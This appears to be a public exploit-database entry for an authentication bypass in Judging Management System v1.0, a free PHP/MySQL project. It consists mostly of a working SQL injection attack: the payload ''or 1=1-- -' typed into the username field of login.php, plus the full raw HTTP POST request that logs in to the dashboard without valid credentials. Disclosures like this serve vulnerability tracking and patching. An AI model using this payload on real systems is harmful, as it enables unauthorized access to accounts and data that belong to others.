Judging Management System v1.0 – Authentication Bypass
# Exploit Title: Judging Management System v1.0 - Authentication Bypass # Date: 12/11/2022 # Exploit Author: Angelo Pio Amirante # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html # Version: 1.0 # Tested on: Windows 10 on XAAMP server # Vulnerability: An attacker can bypass login page and access to dashboard page # Vulnerable file: login.php # Exploit: 1) Go to: http://localhost/php-jms/index.php 2) As username use this payload: 'or 1=1-- - 3) Use random words for password POST /php-jms/login.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 37 Origin: http://localhost Connection: close Referer: http://localhost/php-jms/index.php Cookie: wp-settings-time-1=1669938282; _pk_id.1.1fff=9c7644c9d84f46f1.1670232782. Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 username=%27or+1%3D1--+-&password=asa |